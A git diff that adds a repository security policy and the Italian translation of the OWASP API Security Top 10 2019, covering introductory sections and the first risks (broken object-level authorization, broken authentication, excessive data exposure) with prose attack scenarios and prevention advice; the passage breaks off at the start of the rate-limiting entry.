diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 000000000..2c5e8b80b --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,59 @@ +# Security Policy + + ## Supported Versions + + This repository contains documentation and educational content. + There are no executable components or deployed services associated with this project. + + The `master` branch reflects the latest maintained version of the documentation. + + | Version | Supported | + |--------|-----------| + | master | ✅ | + | Others | ❌ | + + --- + + ## Reporting a Vulnerability + + This repository does **not** directly process user data, authentication, or runtime execution. + However, if you believe you have identified: + + - A security issue affecting linked tooling or referenced examples + - A misconfiguration that could lead to unsafe usage patterns + - A vulnerability related to CI/CD workflows or repository automation + + Please follow **responsible disclosure** practices. + + ### How to Report + - Open a **private GitHub Security Advisory** for this repository, **or** + - Contact the OWASP project maintainers through official OWASP communication channels + + Please include: + - A clear description of the issue + - Steps to reproduce (if applicable) + - Potential impact + - Suggested remediation (if available) + + --- + + ## Disclosure Process + + - Reports will be reviewed by project maintainers + - If applicable, fixes will be discussed and implemented + - Public disclosure may occur after remediation, with reporter credit if desired + + --- + + ## Security Best Practices for Contributors + + - Do not include secrets, tokens, or credentials in documentation or workflows + - Avoid using user-controlled input in CI/CD pipelines without validation + - Follow the OWASP Cheat Sheet Series for secure development and governance practices + + --- + + ## Recognition + + Security researchers and contributors who responsibly disclose issues may be acknowledged + in release notes or project documentation, unless anonymity is requested. diff --git a/editions/2019/it/0x00-header.md b/editions/2019/it/0x00-header.md new file mode 100644 index 000000000..45e40a171 --- /dev/null +++ b/editions/2019/it/0x00-header.md @@ -0,0 +1,19 @@ +--- +title: '' +--- + +![OWASP LOGO](./images/owasp-logo.png) + +# OWASP API Security Top 10 2019 + +I Dieci Rischi di Sicurezza delle API Più Critici + +29 maggio 2019 + +![WASP Logo URL TBA](./images/front-wasp.png) + +| | | | +| - | - | - | +| https://owasp.org | Questo documento è rilasciato sotto licenza [Creative Commons Attribution-ShareAlike 4.0 International][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2019/it/0x00-notice.md b/editions/2019/it/0x00-notice.md new file mode 100644 index 000000000..08a1edc99 --- /dev/null +++ b/editions/2019/it/0x00-notice.md @@ -0,0 +1,14 @@ +# Avviso + +Questa è la versione in formato testo dell'OWASP API Security Top 10, utilizzata +come sorgente per la versione ufficiale distribuita in formato PDF (Portable +Document Format). + +I contributi al progetto come commenti, correzioni o traduzioni devono essere +effettuati qui. Per i dettagli su [Come Contribuire][1], fare riferimento a +[CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2019/it/0x00-toc.md b/editions/2019/it/0x00-toc.md new file mode 100644 index 000000000..f64e8391b --- /dev/null +++ b/editions/2019/it/0x00-toc.md @@ -0,0 +1,23 @@ +# Indice + +* [Indice](0x00-toc.md) +* [Informazioni su OWASP](0x01-about-owasp.md) +* [Prefazione](0x02-foreword.md) +* [Introduzione](0x03-introduction.md) +* [Note di Rilascio](0x04-release-notes.md) +* [Rischi di Sicurezza delle API](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2019](0x11-t10.md) +* [API1:2019 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2019 Broken User Authentication](0xa2-broken-user-authentication.md) +* [API3:2019 Excessive Data Exposure](0xa3-excessive-data-exposure.md) +* [API4:2019 Lack of Resources & Rate Limiting](0xa4-lack-of-resources-and-rate-limiting.md) +* [API5:2019 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2019 Mass Assignment](0xa6-mass-assignment.md) +* [API7:2019 Security Misconfiguration](0xa7-security-misconfiguration.md) +* [API8:2019 Injection](0xa8-injection.md) +* [API9:2019 Improper Assets Management](0xa9-improper-assets-management.md) +* [API10:2019 Insufficient Logging & Monitoring](0xaa-insufficient-logging-monitoring.md) +* [Prossimi Passi per gli Sviluppatori](0xb0-next-devs.md) +* [Prossimi Passi per i DevSecOps](0xb1-next-devsecops.md) +* [Metodologia e Dati](0xd0-about-data.md) +* [Riconoscimenti](0xd1-acknowledgments.md) diff --git a/editions/2019/it/0x01-about-owasp.md b/editions/2019/it/0x01-about-owasp.md new file mode 100644 index 000000000..cf49cc656 --- /dev/null +++ b/editions/2019/it/0x01-about-owasp.md @@ -0,0 +1,61 @@ +# Informazioni su OWASP + +L'Open Web Application Security Project (OWASP) è una comunità aperta dedicata +a supportare le organizzazioni nello sviluppo, nell'acquisto e nel mantenimento +di applicazioni e API affidabili. + +Su OWASP troverai gratuitamente e in formato aperto: + +* Strumenti e standard per la sicurezza delle applicazioni. +* Guide complete sul testing della sicurezza applicativa, sullo sviluppo sicuro + del codice e sulla revisione del codice sicuro. +* Presentazioni e [video][1]. +* [Cheat sheet][2] su molti argomenti comuni. +* Controlli di sicurezza standard e librerie. +* [Capitoli locali in tutto il mondo][3]. +* Ricerca all'avanguardia. +* [Conferenze internazionali][4] di grande rilievo. +* [Mailing list][5]. + +Scopri di più su: [https://www.owasp.org][6]. + +Tutti gli strumenti, i documenti, i video, le presentazioni e i capitoli OWASP +sono gratuiti e aperti a chiunque voglia migliorare la sicurezza delle +applicazioni. + +Riteniamo che la sicurezza applicativa debba essere affrontata come un problema +di persone, processi e tecnologia, poiché gli approcci più efficaci richiedono +miglioramenti in tutte queste aree. + +OWASP è un nuovo tipo di organizzazione. La nostra indipendenza dalle pressioni +commerciali ci permette di fornire informazioni imparziali, pratiche ed +economicamente accessibili sulla sicurezza delle applicazioni. + +OWASP non è affiliata ad alcuna azienda tecnologica, pur supportando l'uso +consapevole di tecnologie di sicurezza commerciali. OWASP produce molti tipi +di materiali in modo collaborativo, trasparente e aperto. + +La OWASP Foundation è l'ente no-profit che garantisce il successo a lungo +termine del progetto. Quasi tutte le persone coinvolte in OWASP sono volontarie, +inclusi il consiglio di amministrazione, i responsabili dei capitoli, i +responsabili dei progetti e i membri dei progetti. Supportiamo la ricerca +innovativa sulla sicurezza attraverso sovvenzioni e infrastrutture. + +Unisciti a noi! + +## Copyright e Licenza + +![license](images/license.png) + +Copyright © 2003-2019 The OWASP Foundation. Questo documento è rilasciato sotto +la licenza [Creative Commons Attribution Share-Alike 4.0][7]. Per qualsiasi +riutilizzo o distribuzione, è necessario rendere chiari agli altri i termini +della licenza di questo lavoro. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[3]: https://www.owasp.org/index.php/OWASP_Chapter +[4]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[5]: https://lists.owasp.org/mailman/listinfo +[6]: https://www.owasp.org +[7]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2019/it/0x02-foreword.md b/editions/2019/it/0x02-foreword.md new file mode 100644 index 000000000..9cdc982b3 --- /dev/null +++ b/editions/2019/it/0x02-foreword.md @@ -0,0 +1,45 @@ +# Prefazione + +Un elemento fondante dell'innovazione nel mondo odierno, guidato dalle +applicazioni, è la Application Programming Interface (API). Dalle banche, al +commercio al dettaglio e ai trasporti, fino all'IoT, ai veicoli autonomi e alle +città intelligenti, le API sono una componente critica delle moderne applicazioni +mobile, SaaS e web, e si trovano nelle applicazioni rivolte ai clienti, ai +partner e ad uso interno. + +Per loro natura, le API espongono la logica applicativa e dati sensibili come le +Informazioni di Identificazione Personale (PII) e, per questo motivo, le API +sono diventate sempre più un bersaglio per gli attaccanti. Senza API sicure, +l'innovazione rapida sarebbe impossibile. + +Sebbene una classifica più ampia dei rischi di sicurezza delle applicazioni web +abbia ancora senso, data la loro natura particolare, è necessaria una lista di +rischi specifica per le API. La sicurezza delle API si concentra su strategie e +soluzioni per comprendere e mitigare le vulnerabilità e i rischi di sicurezza +unici associati alle API. + +Se hai familiarità con il [Progetto OWASP Top 10][1], noterai le analogie tra i +due documenti: entrambi sono pensati per essere leggibili e facilmente adottati. +Se sei nuovo alla serie OWASP Top 10, potresti trovare utile leggere prima le +sezioni [Rischi di Sicurezza delle API][2] e [Metodologia e Dati][3] prima di +consultare la lista Top 10. + +Puoi contribuire all'OWASP API Security Top 10 con domande, commenti e idee +tramite il nostro repository GitHub: + +* https://github.com/OWASP/API-Security/issues +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Puoi trovare l'OWASP API Security Top 10 qui: + +* https://www.owasp.org/index.php/OWASP_API_Security_Project +* https://github.com/OWASP/API-Security + +Desideriamo ringraziare tutti i contributori che hanno reso possibile questo +progetto con il loro impegno e i loro contributi. Sono tutti elencati nella +[sezione Riconoscimenti][4]. Grazie! + +[1]: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2019/it/0x03-introduction.md b/editions/2019/it/0x03-introduction.md new file mode 100644 index 000000000..12f4e84c8 --- /dev/null +++ b/editions/2019/it/0x03-introduction.md @@ -0,0 +1,29 @@ +# Introduzione + +## Benvenuto nell'OWASP API Security Top 10 - 2019! + +Benvenuto nella prima edizione dell'OWASP API Security Top 10. Se hai +familiarità con la serie OWASP Top 10, noterai le analogie: entrambi sono +pensati per essere leggibili e facilmente adottati. In caso contrario, valuta +di visitare la [pagina wiki del Progetto OWASP API Security][1] prima di +approfondire i rischi di sicurezza delle API più critici. + +Le API svolgono un ruolo molto importante nell'architettura delle applicazioni +moderne. Poiché la creazione di consapevolezza in materia di sicurezza e +l'innovazione procedono a ritmi diversi, è importante concentrarsi sulle +vulnerabilità di sicurezza delle API più comuni. + +L'obiettivo principale dell'OWASP API Security Top 10 è formare chi è coinvolto +nello sviluppo e nella manutenzione delle API, come sviluppatori, designer, +architetti, manager e organizzazioni. + +Nella sezione [Metodologia e Dati][2] puoi leggere ulteriori dettagli su come è +stata creata questa prima edizione. Nelle versioni future, vogliamo coinvolgere +il settore della sicurezza con una raccolta pubblica di dati. Per ora, +incoraggiamo tutti a contribuire con domande, commenti e idee tramite il nostro +[repository GitHub][3] o la [mailing list][4]. + +[1]: https://www.owasp.org/index.php/OWASP_API_Security_Project +[2]: ./0xd0-about-data.md +[3]: https://github.com/OWASP/API-Security +[4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2019/it/0x04-release-notes.md b/editions/2019/it/0x04-release-notes.md new file mode 100644 index 000000000..1bc95d56c --- /dev/null +++ b/editions/2019/it/0x04-release-notes.md @@ -0,0 +1,24 @@ +# Note di Rilascio + +Questa è la prima edizione dell'OWASP API Security Top 10, che prevediamo di +aggiornare periodicamente, ogni tre o quattro anni. + +A differenza di questa versione, nelle edizioni future vogliamo effettuare una +raccolta pubblica di dati, coinvolgendo il settore della sicurezza in questo +sforzo. Nella sezione [Metodologia e Dati][1] troverai maggiori dettagli su come +è stata costruita questa versione. Per ulteriori informazioni sui rischi di +sicurezza, fai riferimento alla sezione [Rischi di Sicurezza delle API][2]. + +È importante comprendere che negli ultimi anni l'architettura delle applicazioni +è cambiata significativamente. Attualmente, le API svolgono un ruolo molto +importante in questa nuova architettura a microservizi, nelle Single Page +Application (SPA), nelle app mobile, nell'IoT e così via. + +L'OWASP API Security Top 10 è stato un effort necessario per creare +consapevolezza sui problemi di sicurezza delle API moderne. È stato possibile +solo grazie al grande impegno di numerosi volontari, tutti elencati nella sezione +[Riconoscimenti][3]. Grazie! + +[1]: ./0xd0-about-data.md +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/it/0x10-api-security-risks.md b/editions/2019/it/0x10-api-security-risks.md new file mode 100644 index 000000000..1c659b88c --- /dev/null +++ b/editions/2019/it/0x10-api-security-risks.md @@ -0,0 +1,48 @@ +# Rischi di Sicurezza delle API + +Per l'analisi dei rischi è stata utilizzata la [Metodologia di Valutazione del +Rischio OWASP][1]. + +La tabella seguente riassume la terminologia associata al punteggio di rischio. + +| Agenti di Minaccia | Sfruttabilità | Diffusione della Debolezza | Rilevabilità della Debolezza | Impatto Tecnico | Impatti sul Business | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Specifico per API | Facile: **3** | Diffusa **3** | Facile **3** | Grave **3** | Specifico per il Business | +| Specifico per API | Media: **2** | Comune **2** | Media **2** | Moderato **2** | Specifico per il Business | +| Specifico per API | Difficile: **1** | Difficile **1** | Difficile **1** | Minore **1** | Specifico per il Business | + +**Nota**: Questo approccio non tiene conto della probabilità che l'agente di +minaccia si materializzi, né dei vari dettagli tecnici specifici della tua +applicazione. Ognuno di questi fattori potrebbe influenzare significativamente +la probabilità complessiva che un attaccante trovi e sfrutti una determinata +vulnerabilità. Questa valutazione non considera l'impatto reale sul tuo business. +La tua organizzazione dovrà decidere quale livello di rischio di sicurezza delle +applicazioni e delle API è disposta ad accettare, tenendo conto della propria +cultura, del settore di appartenenza e del contesto normativo. Lo scopo +dell'OWASP API Security Top 10 non è quello di effettuare questa analisi del +rischio al posto tuo. + +## Riferimenti + +### OWASP + +* [Metodologia di Valutazione del Rischio OWASP][1] +* [Articolo su Threat/Risk Modeling][2] + +### Esterni + +* [ISO 31000: Standard di Gestione del Rischio][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: https://www.owasp.org/index.php/Threat_Risk_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2019/it/0x11-t10.md b/editions/2019/it/0x11-t10.md new file mode 100644 index 000000000..13c93a6e8 --- /dev/null +++ b/editions/2019/it/0x11-t10.md @@ -0,0 +1,14 @@ +# OWASP Top 10 API Security Risks – 2019 + +| Rischio | Descrizione | +| ---- | ----------- | +| API1:2019 - Broken Object Level Authorization | Le API tendono a esporre endpoint che gestiscono identificatori di oggetti, creando un'ampia superficie di attacco legata ai problemi di controllo degli accessi a livello di oggetto. I controlli di autorizzazione a livello di oggetto devono essere considerati in ogni funzione che accede a una fonte di dati tramite un input dell'utente. | +| API2:2019 - Broken User Authentication | I meccanismi di autenticazione sono spesso implementati in modo errato, consentendo agli attaccanti di compromettere i token di autenticazione o di sfruttare falle implementative per assumere temporaneamente o permanentemente l'identità di altri utenti. La compromissione della capacità del sistema di identificare il client/utente compromette la sicurezza dell'API nel suo complesso. | +| API3:2019 - Excessive Data Exposure | Puntando a implementazioni generiche, gli sviluppatori tendono a esporre tutte le proprietà degli oggetti senza considerarne la sensibilità individuale, affidandosi ai client per filtrare i dati prima di mostrarli all'utente. | +| API4:2019 - Lack of Resources & Rate Limiting | Molto spesso le API non impongono alcuna restrizione sulle dimensioni o sul numero di risorse che possono essere richieste dal client/utente. Ciò non solo può compromettere le prestazioni del server API, portando a un Denial of Service (DoS), ma apre anche la porta a falle di autenticazione come gli attacchi a forza bruta. | +| API5:2019 - Broken Function Level Authorization | Politiche di controllo degli accessi complesse con gerarchie, gruppi e ruoli differenti, e una separazione poco chiara tra funzioni amministrative e funzioni ordinarie, tendono a causare falle nell'autorizzazione. Sfruttando queste problematiche, gli attaccanti ottengono accesso alle risorse di altri utenti e/o alle funzioni amministrative. | +| API6:2019 - Mass Assignment | L'associazione dei dati forniti dal client (ad esempio JSON) ai modelli dati, senza un adeguato filtraggio delle proprietà basato su una whitelist, porta solitamente al Mass Assignment. Indovinando le proprietà degli oggetti, esplorando altri endpoint API, leggendo la documentazione o fornendo proprietà aggiuntive nei payload delle richieste, gli attaccanti possono modificare proprietà degli oggetti a cui non dovrebbero avere accesso. | +| API7:2019 - Security Misconfiguration | La configurazione errata della sicurezza è comunemente il risultato di configurazioni di default non sicure, configurazioni incomplete o estemporanee, storage cloud aperto, header HTTP configurati in modo errato, metodi HTTP non necessari, Cross-Origin Resource Sharing (CORS) permissivo e messaggi di errore dettagliati contenenti informazioni sensibili. | +| API8:2019 - Injection | Le falle di injection, come SQL, NoSQL, Command Injection, ecc., si verificano quando dati non attendibili vengono inviati a un interprete come parte di un comando o di una query. I dati malevoli dell'attaccante possono ingannare l'interprete inducendolo a eseguire comandi non previsti o ad accedere a dati senza la dovuta autorizzazione. | +| API9:2019 - Improper Assets Management | Le API tendono a esporre più endpoint rispetto alle applicazioni web tradizionali, rendendo una documentazione aggiornata e accurata molto importante. Un inventario adeguato degli host e delle versioni API distribuite svolge anche un ruolo importante nel mitigare problemi come le versioni API deprecate e gli endpoint di debug esposti. | +| API10:2019 - Insufficient Logging & Monitoring | Logging e monitoraggio insufficienti, uniti a un'integrazione con la risposta agli incidenti assente o inefficace, consentono agli attaccanti di continuare ad attaccare i sistemi, mantenere la persistenza, spostarsi lateralmente su altri sistemi per manomettere, estrarre o distruggere dati. La maggior parte degli studi sulle violazioni dimostra che il tempo necessario per rilevare una violazione supera i 200 giorni, tipicamente rilevata da terze parti piuttosto che da processi o monitoraggio interni. | diff --git a/editions/2019/it/0xa1-broken-object-level-authorization.md b/editions/2019/it/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..19af69812 --- /dev/null +++ b/editions/2019/it/0xa1-broken-object-level-authorization.md @@ -0,0 +1,65 @@ +# API1:2019 Broken Object Level Authorization + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **3** | Diffusione **3** : Rilevabilità **2** | Tecnico **3** : Specifico per il Business | +| Gli attaccanti possono sfruttare gli endpoint API vulnerabili alla Broken Object Level Authorization manipolando l'ID di un oggetto inviato nella richiesta. Ciò può portare all'accesso non autorizzato a dati sensibili. Questo problema è estremamente comune nelle applicazioni basate su API perché il componente server di solito non tiene traccia completamente dello stato del client e si affida invece a parametri come gli ID degli oggetti, inviati dal client per decidere a quali oggetti accedere. | Questo è stato l'attacco più comune e impattante sulle API. I meccanismi di autorizzazione e controllo degli accessi nelle applicazioni moderne sono complessi e capillarmente diffusi. Anche se l'applicazione implementa una corretta infrastruttura per i controlli di autorizzazione, gli sviluppatori potrebbero dimenticarsi di utilizzare questi controlli prima di accedere a un oggetto sensibile. Il rilevamento dei problemi di controllo degli accessi non si presta tipicamente a test statici o dinamici automatizzati. | L'accesso non autorizzato può comportare la divulgazione di dati a soggetti non autorizzati, la perdita di dati o la loro manipolazione. L'accesso non autorizzato agli oggetti può portare anche alla compromissione totale dell'account. | + +## L'API è Vulnerabile? + +L'autorizzazione a livello di oggetto è un meccanismo di controllo degli accessi +che viene solitamente implementato a livello di codice per verificare che un +utente possa accedere solo agli oggetti a cui dovrebbe avere accesso. + +Ogni endpoint API che riceve un ID di un oggetto ed esegue qualsiasi tipo di +azione su di esso dovrebbe implementare controlli di autorizzazione a livello di +oggetto. I controlli devono verificare che l'utente autenticato abbia effettivamente +accesso per eseguire l'azione richiesta sull'oggetto richiesto. + +Le carenze in questo meccanismo portano tipicamente a divulgazione non +autorizzata di informazioni, modifica o distruzione di tutti i dati. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Una piattaforma di e-commerce per negozi online fornisce una pagina con i grafici +delle entrate per i negozi ospitati. Analizzando le richieste del browser, un +attaccante identifica gli endpoint API usati come fonte dati per quei grafici e +il loro schema `/shops/{shopName}/revenue_data.json`. Utilizzando un altro +endpoint API, l'attaccante ottiene la lista di tutti i nomi dei negozi ospitati. +Con un semplice script che manipola i nomi nella lista, sostituendo `{shopName}` +nell'URL, l'attaccante ottiene accesso ai dati di vendita di migliaia di negozi. + +### Scenario #2 + +Durante il monitoraggio del traffico di rete di un dispositivo indossabile, +una richiesta HTTP `PATCH` attira l'attenzione di un attaccante per la presenza +di un header HTTP personalizzato `X-User-Id: 54796`. Sostituendo il valore +`X-User-Id` con `54795`, l'attaccante riceve una risposta HTTP di successo ed +è in grado di modificare i dati dell'account di altri utenti. + +## Come Prevenire + +* Implementare un meccanismo di autorizzazione adeguato che si basi sulle policy + e sulla gerarchia degli utenti. +* Utilizzare un meccanismo di autorizzazione per verificare che l'utente + autenticato abbia il permesso di eseguire l'azione richiesta sul record in + ogni funzione che utilizza un input dal client per accedere a un record nel + database. +* Preferire l'uso di valori casuali e imprevedibili come GUID per gli ID dei + record. +* Scrivere test per valutare il meccanismo di autorizzazione. Non rilasciare + modifiche vulnerabili che causino il fallimento dei test. + +## Riferimenti + +### Esterni + +* [CWE-284: Improper Access Control][1] +* [CWE-285: Improper Authorization][2] +* [CWE-639: Authorization Bypass Through User-Controlled Key][3] + +[1]: https://cwe.mitre.org/data/definitions/284.html +[2]: https://cwe.mitre.org/data/definitions/285.html +[3]: https://cwe.mitre.org/data/definitions/639.html diff --git a/editions/2019/it/0xa2-broken-user-authentication.md b/editions/2019/it/0xa2-broken-user-authentication.md new file mode 100644 index 000000000..0e4f25510 --- /dev/null +++ b/editions/2019/it/0xa2-broken-user-authentication.md @@ -0,0 +1,90 @@ +# API2:2019 Broken User Authentication + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **3** | Diffusione **2** : Rilevabilità **2** | Tecnico **3** : Specifico per il Business | +| L'autenticazione nelle API è un meccanismo complesso e spesso frainteso. Gli ingegneri software e di sicurezza possono avere idee errate su quali siano i confini dell'autenticazione e su come implementarla correttamente. Inoltre, il meccanismo di autenticazione è un bersaglio facile per gli attaccanti poiché è esposto a tutti. Questi due fattori rendono il componente di autenticazione potenzialmente vulnerabile a molti tipi di exploit. | Esistono due sotto-problemi: 1. Mancanza di meccanismi di protezione: gli endpoint API responsabili dell'autenticazione devono essere trattati diversamente dagli endpoint ordinari e implementare livelli aggiuntivi di protezione. 2. Implementazione errata del meccanismo: il meccanismo viene utilizzato/implementato senza considerare i vettori di attacco, oppure è il caso d'uso sbagliato (ad esempio un meccanismo di autenticazione progettato per client IoT potrebbe non essere la scelta giusta per le applicazioni web). | Gli attaccanti possono ottenere il controllo degli account di altri utenti nel sistema, leggere i loro dati personali ed eseguire azioni sensibili per loro conto, come transazioni economiche e invio di messaggi personali. | + +## L'API è Vulnerabile? + +Gli endpoint e i flussi di autenticazione sono risorse che devono essere +protette. Le funzionalità di "recupero password / reset password" devono essere +trattate allo stesso modo dei meccanismi di autenticazione. + +Un'API è vulnerabile se: +* Permette il [credential stuffing][1] in cui l'attaccante dispone di una lista + di nomi utente e password validi. +* Consente agli attaccanti di effettuare un attacco a forza bruta sullo stesso + account utente, senza presentare captcha o meccanismi di blocco dell'account. +* Permette password deboli. +* Invia dettagli di autenticazione sensibili, come token di autenticazione e + password, nell'URL. +* Non verifica l'autenticità dei token. +* Accetta token JWT non firmati o firmati in modo debole (`"alg":"none"`)/non + ne verifica la data di scadenza. +* Utilizza password in chiaro, non cifrate o con hashing debole. +* Utilizza chiavi di cifratura deboli. + +## Scenari di Attacco di Esempio + +## Scenario #1 + +Il [credential stuffing][1] (usando [liste di username/password noti][2]) è un +attacco comune. Se un'applicazione non implementa protezioni automatizzate contro +le minacce o il credential stuffing, l'applicazione può essere utilizzata come +oracolo di password per determinare se le credenziali sono valide. + +## Scenario #2 + +Un attaccante avvia il flusso di recupero password inviando una richiesta POST a +`/api/system/verification-codes` e fornendo il nome utente nel corpo della +richiesta. Successivamente, un token SMS a 6 cifre viene inviato al telefono +della vittima. Poiché l'API non implementa una policy di rate limiting, +l'attaccante può testare tutte le combinazioni possibili usando uno script +multi-thread contro l'endpoint `/api/system/verification-codes/{smsToken}` +per scoprire il token corretto in pochi minuti. + +## Come Prevenire + +* Assicurarsi di conoscere tutti i possibili flussi di autenticazione all'API + (mobile/web/deep link che implementano autenticazione con un clic/ecc.) +* Chiedere agli sviluppatori quali flussi sono stati tralasciati. +* Documentarsi sui meccanismi di autenticazione in uso. Assicurarsi di capire + cosa sono e come vengono utilizzati. OAuth non è un sistema di autenticazione, + e nemmeno le API key. +* Non reinventare la ruota nell'autenticazione, nella generazione di token, o + nell'archiviazione delle password. Utilizzare gli standard. +* Gli endpoint di recupero credenziali/password dimenticata devono essere + trattati come gli endpoint di login in termini di protezione da forza bruta, + rate limiting e blocco dell'account. +* Utilizzare l'[OWASP Authentication Cheatsheet][3]. +* Dove possibile, implementare l'autenticazione a più fattori. +* Implementare meccanismi anti-forza bruta per mitigare il credential stuffing, + gli attacchi a dizionario e gli attacchi a forza bruta sugli endpoint di + autenticazione. Questo meccanismo deve essere più restrittivo dei normali + meccanismi di rate limiting delle API. +* Implementare meccanismi di [blocco dell'account][4]/captcha per prevenire + attacchi a forza bruta su utenti specifici. Implementare controlli sulle + password deboli. +* Le API key non devono essere utilizzate per l'autenticazione degli utenti, ma + per l'[autenticazione delle app client/progetto][5]. + +## Riferimenti + +### OWASP + +* [OWASP Key Management Cheat Sheet][6] +* [OWASP Authentication Cheatsheet][3] +* [Credential Stuffing][1] + +### Esterni + +* [CWE-798: Use of Hard-coded Credentials][7] + +[1]: https://www.owasp.org/index.php/Credential_stuffing +[2]: https://github.com/danielmiessler/SecLists +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[4]: https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) +[5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet +[7]: https://cwe.mitre.org/data/definitions/798.html diff --git a/editions/2019/it/0xa3-excessive-data-exposure.md b/editions/2019/it/0xa3-excessive-data-exposure.md new file mode 100644 index 000000000..2be76249e --- /dev/null +++ b/editions/2019/it/0xa3-excessive-data-exposure.md @@ -0,0 +1,62 @@ +# API3:2019 Excessive Data Exposure + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **3** | Diffusione **2** : Rilevabilità **2** | Tecnico **2** : Specifico per il Business | +| Lo sfruttamento dell'Excessive Data Exposure è semplice e viene solitamente effettuato analizzando il traffico per esaminare le risposte API, cercando esposizioni di dati sensibili che non dovrebbero essere restituite all'utente. | Le API si affidano ai client per il filtraggio dei dati. Poiché le API vengono utilizzate come fonti di dati, a volte gli sviluppatori cercano di implementarle in modo generico senza pensare alla sensibilità dei dati esposti. Gli strumenti automatici di solito non riescono a rilevare questo tipo di vulnerabilità perché è difficile distinguere tra dati legittimi restituiti dall'API e dati sensibili che non dovrebbero essere restituiti senza una comprensione approfondita dell'applicazione. | L'Excessive Data Exposure porta comunemente all'esposizione di dati sensibili. | + +## L'API è Vulnerabile? + +L'API restituisce dati sensibili al client per design. Questi dati vengono +solitamente filtrati lato client prima di essere presentati all'utente. Un +attaccante può facilmente analizzare il traffico e visualizzare i dati sensibili. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Il team mobile utilizza l'endpoint `/api/articles/{articleId}/comments/{commentId}` +nella visualizzazione degli articoli per mostrare i metadati dei commenti. +Analizzando il traffico dell'applicazione mobile, un attaccante scopre che +vengono restituiti anche altri dati sensibili relativi all'autore del commento. +L'implementazione dell'endpoint utilizza un metodo generico `toJSON()` sul +modello `User`, che contiene PII, per serializzare l'oggetto. + +### Scenario #2 + +Un sistema di sorveglianza basato su IoT consente agli amministratori di creare +utenti con permessi diversi. Un amministratore ha creato un account per una nuova +guardia di sicurezza che dovrebbe avere accesso solo a specifici edifici del +sito. Una volta che la guardia di sicurezza utilizza la sua app mobile, viene +effettuata una chiamata API a: `/api/sites/111/cameras` per ricevere dati sulle +telecamere disponibili e mostrarle nella dashboard. La risposta contiene un +elenco con i dettagli delle telecamere nel seguente formato: +`{"id":"xxx","live_access_token":"xxxx-bbbbb","building_id":"yyy"}`. +Mentre l'interfaccia grafica del client mostra solo le telecamere a cui la +guardia di sicurezza dovrebbe avere accesso, la risposta effettiva dell'API +contiene l'elenco completo di tutte le telecamere del sito. + +## Come Prevenire + +* Non fare mai affidamento sul lato client per filtrare i dati sensibili. +* Verificare le risposte dell'API per assicurarsi che contengano solo dati + legittimi. +* Gli ingegneri back-end dovrebbero sempre chiedersi "chi è il consumatore dei + dati?" prima di esporre un nuovo endpoint API. +* Evitare l'uso di metodi generici come `to_json()` e `to_string()`. Selezionare + invece specificamente le proprietà che si desidera davvero restituire. +* Classificare le informazioni sensibili e di identificazione personale (PII) + che l'applicazione archivia e gestisce, esaminando tutte le chiamate API che + restituiscono tali informazioni per verificare se queste risposte rappresentano + un problema di sicurezza. +* Implementare un meccanismo di validazione della risposta basato su schema come + ulteriore livello di sicurezza. Come parte di questo meccanismo, definire e + applicare i dati restituiti da tutti i metodi API, inclusi gli errori. + +## Riferimenti + +### Esterni + +* [CWE-213: Intentional Information Exposure][1] + +[1]: https://cwe.mitre.org/data/definitions/213.html diff --git a/editions/2019/it/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/it/0xa4-lack-of-resources-and-rate-limiting.md new file mode 100644 index 000000000..9405f98c5 --- /dev/null +++ b/editions/2019/it/0xa4-lack-of-resources-and-rate-limiting.md @@ -0,0 +1,88 @@ +# API4:2019 Lack of Resources & Rate Limiting + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **2** | Diffusione **3** : Rilevabilità **3** | Tecnico **2** : Specifico per il Business | +| Lo sfruttamento richiede semplici richieste API. Non è richiesta autenticazione. Più richieste concorrenti possono essere effettuate da un singolo computer locale o utilizzando risorse di cloud computing. 